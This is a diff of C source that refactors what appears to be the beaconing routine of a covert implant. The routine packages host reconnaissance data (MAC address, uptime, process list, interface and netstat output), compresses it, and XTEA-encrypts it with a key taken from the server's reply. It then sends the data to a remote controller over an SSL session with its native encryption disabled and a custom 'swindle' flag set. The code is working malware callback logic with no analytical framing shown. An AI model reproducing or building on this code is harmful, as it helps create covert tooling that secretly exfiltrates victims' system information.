| 431 | + | compressed_packet = compress_packet(packet, packetSize, &compressedPacketSize); |
533 | 432 | | DLX(5, printf("Original packet size: %d, Compressed packet size: %d\n", packetSize, compressedPacketSize)); |
534 | 433 | | //combine compressed_packet with beacon header. |
535 | | - | if(packet != NULL) |
536 | | - | { |
537 | | - | free(packet); |
538 | | - | } |
| 434 | + | |
| 435 | + | Free(packet); |
| 436 | + | |
539 | 437 | | |
540 | 438 | | packetSize = sizeof(BEACON_HDR) + compressedPacketSize; |
541 | | - | packet = (unsigned char*)malloc(packetSize); |
542 | | - | if(packet == NULL) |
543 | | - | { |
| 439 | + | packet = (unsigned char *) malloc(packetSize); |
| 440 | + | if (packet == NULL) { |
544 | 441 | | goto EXIT; |
545 | 442 | | } |
546 | 443 | | |
547 | | - | //zero out buffer |
548 | | - | memset(packet, 0, packetSize); |
549 | | - | //copy in beacon hdr |
550 | | - | memcpy(packet, &bhdr, sizeof(BEACON_HDR)); |
551 | | - | //copy in compressed data |
552 | | - | memcpy(packet+sizeof(BEACON_HDR), compressed_packet, compressedPacketSize); |
553 | | - | |
554 | | - | //calculate encryption buffer size |
555 | | - | encrypt_size = packetSize + (8 - (packetSize % 8)); |
| 444 | + | memset(packet, 0, packetSize); // Zero out buffer |
| 445 | + | memcpy(packet, &bhdr, sizeof(BEACON_HDR)); // Copy-in beacon header |
| 446 | + | memcpy(packet + sizeof(BEACON_HDR), compressed_packet, compressedPacketSize); // Copy-in compressed data |
| 447 | + | encrypt_size = packetSize + (8 - (packetSize % 8)); // Calculate encryption buffer size |
556 | 448 | | |
557 | 449 | | //connect to the client |
558 | | - | DLX(4, printf("Connecting to client %s on port %d using socket: %d\n", beaconInfo->ip, beaconInfo->port, sock)); |
559 | | - | retval = net_connect(&sock,beaconInfo->ip, beaconInfo->port); |
560 | | - | |
561 | | - | if ( retval != SUCCESS ) |
562 | | - | { |
563 | | - | DLX(1, printf("\tERROR: net_connect(): "); |
564 | | - | if ( retval == POLARSSL_ERR_NET_CONNECT_FAILED ) |
565 | | - | { |
566 | | - | printf( "NET_CONNECT_FAILED\n"); |
567 | | - | } |
568 | | - | else if ( retval == POLARSSL_ERR_NET_SOCKET_FAILED ) |
569 | | - | { |
570 | | - | printf( "NET_SOCKET_FAILED\n"); |
571 | | - | } |
572 | | - | else if ( retval == POLARSSL_ERR_NET_UNKNOWN_HOST ) |
573 | | - | { |
574 | | - | printf( "NET_UNKNOWN_HOST\n"); |
575 | | - | } |
| 450 | + | DLX(4, printf("\tAttempting connection to client %s on port %d...\n", beaconInfo->ip, beaconInfo->port)); |
| 451 | + | retval = net_connect(&sock, beaconInfo->ip, beaconInfo->port); |
| 452 | + | if (retval != SUCCESS) { |
| 453 | + | DLX(1, printf("\tERROR: net_connect(): "); if (retval == POLARSSL_ERR_NET_CONNECT_FAILED) { |
| 454 | + | printf("NET_CONNECT_FAILED\n");} |
| 455 | + | else |
| 456 | + | if (retval == POLARSSL_ERR_NET_SOCKET_FAILED) { |
| 457 | + | printf("NET_SOCKET_FAILED\n");} |
576 | 458 | | else |
577 | | - | { |
578 | | - | printf( "Unknown error\n"); |
579 | | - | } |
| 459 | + | if (retval == POLARSSL_ERR_NET_UNKNOWN_HOST) { |
| 460 | + | printf("NET_UNKNOWN_HOST\n");} |
| 461 | + | else { |
| 462 | + | printf("Unknown error\n");} |
580 | 463 | | ); |
581 | 464 | | |
582 | 465 | | // we can return from here. no need to goto to bottom of function because |
583 | 466 | | // at this stage, there is nothing to clean-up |
584 | | - | //return FAILURE; |
585 | | - | //Don't think that is true you have allocated all of your beacon info |
586 | | - | //however it just couldnt connect out lets clean up |
| 467 | + | // return FAILURE; |
| 468 | + | // Don't think that is true you have allocated all of your beacon info |
| 469 | + | // however it just couldn't connect out; lets clean up. |
587 | 470 | | retval = FAILURE; |
588 | 471 | | goto EXIT; |
589 | 472 | | } |
590 | | - | |
591 | 473 | | //setup ssl |
592 | | - | DLX(4, printf("\tSetup crypto\n")); |
593 | | - | if ((beacon_io = crypt_setup_client(&sock)) == NULL) |
594 | | - | { |
| 474 | + | DLX(4, printf("\tConnection successful, setup crypto\n")); |
| 475 | + | if ((beacon_io = crypt_setup_client(&sock)) == NULL) { |
595 | 476 | | DLX(4, printf("\tERROR: crypt_setup_client()\n")); |
596 | 477 | | retval = FAILURE; |
597 | 478 | | goto EXIT; |
598 | 479 | | } |
599 | | - | |
600 | 480 | | //set swindle flag to true |
601 | 481 | | beacon_io->ssl->use_custom = 1; |
602 | 482 | | beacon_io->ssl->tool_id = TOOL_ID; |
| skipped 1 lines |
604 | 484 | | |
605 | 485 | | //perform an SSL handshake |
606 | 486 | | DLX(4, printf("\tPerform SSL handshake\n")); |
607 | | - | if (crypt_handshake(beacon_io) != SUCCESS) |
608 | | - | { |
| 487 | + | if (crypt_handshake(beacon_io) != SUCCESS) { |
609 | 488 | | DLX(2, printf("\tERROR: SSL connection with SSL server failed to initialize.\n")); |
610 | | - | retval = FAILURE; |
| 489 | + | retval = FAILURE; |
611 | 490 | | goto EXIT; |
612 | 491 | | } |
613 | 492 | | |
614 | 493 | | DLX(4, printf("\tHandshake Complete!\n")); |
615 | 494 | | |
616 | | - | //turn off the ssl encryption since we use our own |
617 | | - | beacon_io->ssl->do_crypt = 0; |
| 495 | + | beacon_io->ssl->do_crypt = 0; //turn off the ssl encryption since we use our own |
| 496 | + | generate_random_bytes(randData, 64); //generate 32 random bytes |
| 497 | + | embedSize(encrypt_size, randData); //embed the data size so the server knows how much data to read |
618 | 498 | | |
619 | | - | //generate 32 random bytes |
620 | | - | generate_random_bytes(randData,64); |
621 | | - | |
622 | | - | //embed the data size so the server knows how much data to read |
623 | | - | embedSize(encrypt_size,randData); |
624 | 499 | | DLX(4, printf("\tEncrypt_size is %d \n", encrypt_size)); |
625 | | - | |
626 | | - | DLX(4, printf( "\tSending the first 64 bytes with data size encoded in random data\n")); |
| 500 | + | DLX(4, printf("\tSending the first 64 bytes with data size encoded in random data\n")); |
627 | 501 | | //send the bytes |
628 | | - | if (crypt_write(beacon_io, randData, 64) < 0) |
629 | | - | { //TODO: this is probably no the best check... maybe 32 > cryptwrite |
| 502 | + | if (crypt_write(beacon_io, randData, 64) < 0) { //TODO: this is probably no the best check... maybe 32 > crypt_write |
630 | 503 | | retval = FAILURE; |
631 | 504 | | goto EXIT; |
632 | 505 | | } |
633 | | - | |
634 | 506 | | //receive the buffer |
635 | 507 | | memset(randData, 0, 64); |
636 | | - | |
637 | | - | retval = recv(sock,(char*)randData,37,0); |
638 | | - | if (retval < 0) |
639 | | - | { |
640 | | - | DLX(4, printf( "\tReceive failed:")); |
| 508 | + | retval = recv(sock, (char *) randData, 37, 0); |
| 509 | + | if (retval < 0) { |
| 510 | + | DLX(4, printf("\tReceive failed:")); |
641 | 511 | | perror("1"); |
642 | 512 | | retval = FAILURE; |
643 | 513 | | goto EXIT; |
644 | 514 | | } |
645 | | - | DLX(4, printf( "\tReceived %d bytes\n", retval)); |
| 515 | + | DLX(4, printf("\tReceived %d bytes\n", retval)); |
646 | 516 | | |
647 | | - | //extract the key |
648 | | - | extract_key(randData + 5,key); |
| 517 | + | extract_key(randData + 5, key); //extract the key |
649 | 518 | | |
650 | 519 | | //encrypt the beacon data with the extracted key |
651 | 520 | | //the buffer is padded so that it can be broken |
652 | 521 | | //up into 8 byte chunks |
653 | | - | enc_buf = (unsigned char*) malloc(encrypt_size); |
654 | | - | if(enc_buf == NULL) |
655 | | - | { |
| 522 | + | enc_buf = (unsigned char *) malloc(encrypt_size); |
| 523 | + | if (enc_buf == NULL) { |
656 | 524 | | DLX(1, printf("Could not allocate space for enc_buf")); |
657 | 525 | | goto EXIT; |
658 | 526 | | } |
659 | | - | memset(enc_buf, 0 , encrypt_size); |
660 | | - | |
661 | | - | encrypt_data(packet,packetSize,enc_buf,key); |
| 527 | + | memset(enc_buf, 0, encrypt_size); |
| 528 | + | encrypt_data(packet, packetSize, enc_buf, key); |
662 | 529 | | |
663 | | - | //send the data |
664 | | - | //while we haven't sent all data keep going |
665 | | - | //send size embedded in rand data |
666 | | - | //send encrypted data |
| 530 | + | // Send the data until all data has been sent |
| 531 | + | // Size embedded in random data |
| 532 | + | // Send encrypted data |
667 | 533 | | do { |
668 | 534 | | |
669 | | - | //embed the data size so the server knows how much data to read |
| 535 | + | // Embed the data size so the server knows how much data to read |
670 | 536 | | sz_to_send = (encrypt_size - bytes_sent) >= MAX_SSL_PACKET_SIZE ? MAX_SSL_PACKET_SIZE : encrypt_size - bytes_sent; |
671 | | - | DLX(4, printf("\tSending: %d bytes\n", sz_to_send)); |
| 537 | + | DLX(6, printf("\tSending: %d bytes\n", sz_to_send)); |
672 | 538 | | |
673 | 539 | | retval = crypt_write(beacon_io, enc_buf + bytes_sent, sz_to_send); |
674 | | - | if( retval < 0) { |
675 | | - | DLX(4, printf("crypt_write() failed: "); print_ssl_error(retval)); |
| 540 | + | if (retval < 0) { |
| 541 | + | DLX(4, printf("crypt_write() failed: "); |
| 542 | + | print_ssl_error(retval)); |
676 | 543 | | retval = FAILURE; |
677 | 544 | | goto EXIT; |
678 | 545 | | } |
679 | 546 | | |
680 | 547 | | // Receive ACK |
681 | 548 | | memset(recv_buf, 0, 30); |
682 | | - | |
683 | 549 | | retval = recv(sock, recv_buf, 30, 0); |
684 | | - | if (retval < 0) |
685 | | - | { |
686 | | - | DLX(4, printf( "\tReceive failed:")); |
| 550 | + | if (retval < 0) { |
| 551 | + | DLX(4, printf("\tReceive failed:")); |
687 | 552 | | perror("2"); |
688 | 553 | | retval = FAILURE; |
689 | 554 | | goto EXIT; |
690 | 555 | | } |
691 | | - | DLX(4, printf( "\tReceived %d bytes\n", retval)); |
| 556 | + | if (retval == 0) { |
| 557 | + | DLX(6, printf("\tPeer closed connection\n")); // Not sure if this should be success or failure |
| 558 | + | break; |
| 559 | + | } |
| 560 | + | DLX(6, printf("\tReceived %d bytes\n", retval)); |
| 561 | + | DPB(7, "Received buffer: ", (const unsigned char *)recv_buf, retval); |
| 562 | + | DPB(7, "Received data: ", (const unsigned char *)(recv_buf + sizeof(SSL_HDR)), retval - (sizeof(SSL_HDR) )); |
692 | 563 | | |
693 | | - | recv_sz = atoi(recv_buf + (sizeof(SSL_HDR) - 1)); |
694 | | - | DLX(4, printf("\tACKed bytes: %d\n", recv_sz)); |
| 564 | + | recv_sz = atoi(recv_buf + (sizeof(SSL_HDR))); |
| 565 | + | DLX(6, printf("\tACKed bytes: %d\n", recv_sz)); |
695 | 566 | | bytes_sent += recv_sz; |
696 | | - | DLX(4, printf("\tTotal bytes sent: %d, %d to go\n", bytes_sent, encrypt_size-bytes_sent)); |
| 567 | + | DLX(6, printf("\tTotal bytes sent: %d, %d to go\n", bytes_sent, encrypt_size - bytes_sent)); |
697 | 568 | | } while (bytes_sent < encrypt_size); |
698 | 569 | | |
699 | 570 | | retval = SUCCESS; |
700 | 571 | | DLX(4, printf("BEACON SENT cleaning up\n")); |
701 | 572 | | |
702 | | - | EXIT: |
703 | | - | //cleanup |
| 573 | + | EXIT: // cleanup |
704 | 574 | | |
705 | 575 | | if (beacon_io) |
706 | | - | if (beacon_io->ssl->major_ver >= 1 ) { |
| 576 | + | if (beacon_io->ssl->major_ver >= 1) { |
707 | 577 | | crypt_close_notify(beacon_io); |
708 | 578 | | crypt_cleanup(beacon_io); |
709 | 579 | | } |
710 | 580 | | |
711 | | - | if(mac_data != NULL) |
712 | | - | { |
713 | | - | free(mac_data); |
714 | | - | } |
715 | | - | |
716 | | - | if(uptime_data != NULL) |
717 | | - | { |
718 | | - | free(uptime_data); |
719 | | - | } |
720 | | - | |
721 | | - | if(next_beacon_data != NULL) |
722 | | - | { |
723 | | - | free(next_beacon_data); |
724 | | - | } |
725 | | - | |
726 | | - | if(proc_list_data != NULL) |
727 | | - | { |
728 | | - | release_process_list(proc_list_data); |
729 | | - | } |
730 | | - | |
731 | | - | if(ipconfig_data != NULL) |
732 | | - | { |
733 | | - | release_ifconfig(ipconfig_data); |
734 | | - | } |
735 | | - | |
736 | | - | if(netstat_rn_data != NULL) |
737 | | - | { |
738 | | - | release_netstat_rn(netstat_rn_data); |
739 | | - | } |
740 | | - | |
741 | | - | if(netstat_an_data != NULL) |
742 | | - | { |
743 | | - | release_netstat_an(netstat_an_data); |
744 | | - | } |
745 | | - | |
746 | | - | if(enc_buf != NULL) |
747 | | - | { |
748 | | - | free(enc_buf); |
749 | | - | } |
750 | | - | |
751 | | - | if(packet != NULL) |
752 | | - | { |
753 | | - | free(packet); |
754 | | - | } |
| 581 | + | Free(mac_data); |
| 582 | + | Free(uptime_data); |
| 583 | + | Free(next_beacon_data); |
| 584 | + | Free(proc_list_data); |
| 585 | + | Free(ipconfig_data); |
| 586 | + | Free(netstat_rn_data); |
| 587 | + | Free(netstat_an_data); |
| 588 | + | Free(enc_buf); |
| 589 | + | Free(packet); |
| 590 | + | Free(compressed_packet); |
755 | 591 | | |
756 | | - | if(compressed_packet != NULL) |
757 | | - | { |
758 | | - | release_compressed_packet(compressed_packet); |
759 | | - | } |
760 | | - | |
761 | | - | if ( sock > 0 ) net_close( sock ); |
| 592 | + | if (sock > 0) |
| 593 | + | net_close(sock); |
762 | 594 | | |
763 | 595 | | return retval; |
764 | 596 | | } |
765 | 597 | | |
766 | 598 | | //****************************************************************** |
767 | 599 | | |
768 | | - | void encrypt_data(unsigned char* src, int src_size, unsigned char* dest, unsigned char* key) |
| 600 | + | void encrypt_data(unsigned char *src, int src_size, unsigned char *dest, unsigned char *key) |
769 | 601 | | { |
770 | 602 | | xtea_context xtea; |
771 | | - | int i,x; |
772 | | - | unsigned char* src_ptr; |
773 | | - | unsigned char* dest_ptr; |
| 603 | + | int i, x; |
| 604 | + | unsigned char *src_ptr; |
| 605 | + | unsigned char *dest_ptr; |
774 | 606 | | unsigned char enc[8]; |
775 | 607 | | unsigned char buf[8]; |
776 | 608 | | |
777 | 609 | | //initialize the xtea encryption context |
778 | | - | xtea_setup(&xtea,key); |
| 610 | + | xtea_setup(&xtea, key); |
779 | 611 | | |
780 | 612 | | i = 0; |
781 | 613 | | |
782 | | - | while(i < src_size) |
783 | | - | { |
| 614 | + | while (i < src_size) { |
784 | 615 | | src_ptr = src + i; |
785 | | - | dest_ptr = dest +i; |
786 | | - | if( (src_size - i) < 8) |
787 | | - | { |
788 | | - | for(x = 0; x < (src_size - i); ++x) |
789 | | - | { |
| 616 | + | dest_ptr = dest + i; |
| 617 | + | if ((src_size - i) < 8) { |
| 618 | + | for (x = 0; x < (src_size - i); ++x) { |
790 | 619 | | buf[x] = src_ptr[x]; |
791 | 620 | | } |
792 | | - | memset(buf + (src_size - i), 0, (8 - (src_size-i)) ); |
793 | | - | } |
794 | | - | else |
795 | | - | { |
796 | | - | for(x = 0; x < 8; ++x) |
797 | | - | { |
| 621 | + | memset(buf + (src_size - i), 0, (8 - (src_size - i))); |
| 622 | + | } else { |
| 623 | + | for (x = 0; x < 8; ++x) { |
798 | 624 | | buf[x] = src_ptr[x]; |
799 | 625 | | } |
800 | 626 | | } |
801 | 627 | | |
802 | | - | xtea_crypt_ecb(&xtea,XTEA_ENCRYPT,buf,enc); |
| 628 | + | xtea_crypt_ecb(&xtea, XTEA_ENCRYPT, buf, enc); |
803 | 629 | | |
804 | | - | memcpy(dest_ptr,enc,8); |
| 630 | + | memcpy(dest_ptr, enc, 8); |
805 | 631 | | i += 8; |
806 | 632 | | } |
807 | 633 | | } |
808 | 634 | | |
809 | 635 | | |
810 | 636 | | //****************************************************************** |
811 | | - | int get_printable_mac(unsigned char* dest, unsigned char* src) |
| 637 | + | int get_printable_mac(unsigned char *dest, unsigned char *src) |
812 | 638 | | { |
813 | 639 | | char buffer[18]; |
814 | | - | memset(buffer,0,18); |
| 640 | + | memset(buffer, 0, 18); |
815 | 641 | | |
816 | | - | sprintf(buffer,"%.2x-%.2x-%.2x-%.2x-%.2x-%.2x", |
817 | | - | src[0], |
818 | | - | src[1], |
819 | | - | src[2], |
820 | | - | src[3], |
821 | | - | src[4], |
822 | | - | src[5]); |
| 642 | + | sprintf(buffer, "%.2x-%.2x-%.2x-%.2x-%.2x-%.2x", src[0], src[1], src[2], src[3], src[4], src[5]); |
823 | 643 | | |
824 | | - | memcpy(dest,buffer,18); |
| 644 | + | memcpy(dest, buffer, 18); |
825 | 645 | | return 0; |
826 | 646 | | } |
827 | 647 | | |
828 | 648 | | //****************************************************************** |
829 | | - | void extract_key(unsigned char* buf, unsigned char* key) |
| 649 | + | void extract_key(unsigned char *buf, unsigned char *key) |
830 | 650 | | { |
831 | 651 | | int offset; |
832 | 652 | | |
| skipped 7 lines |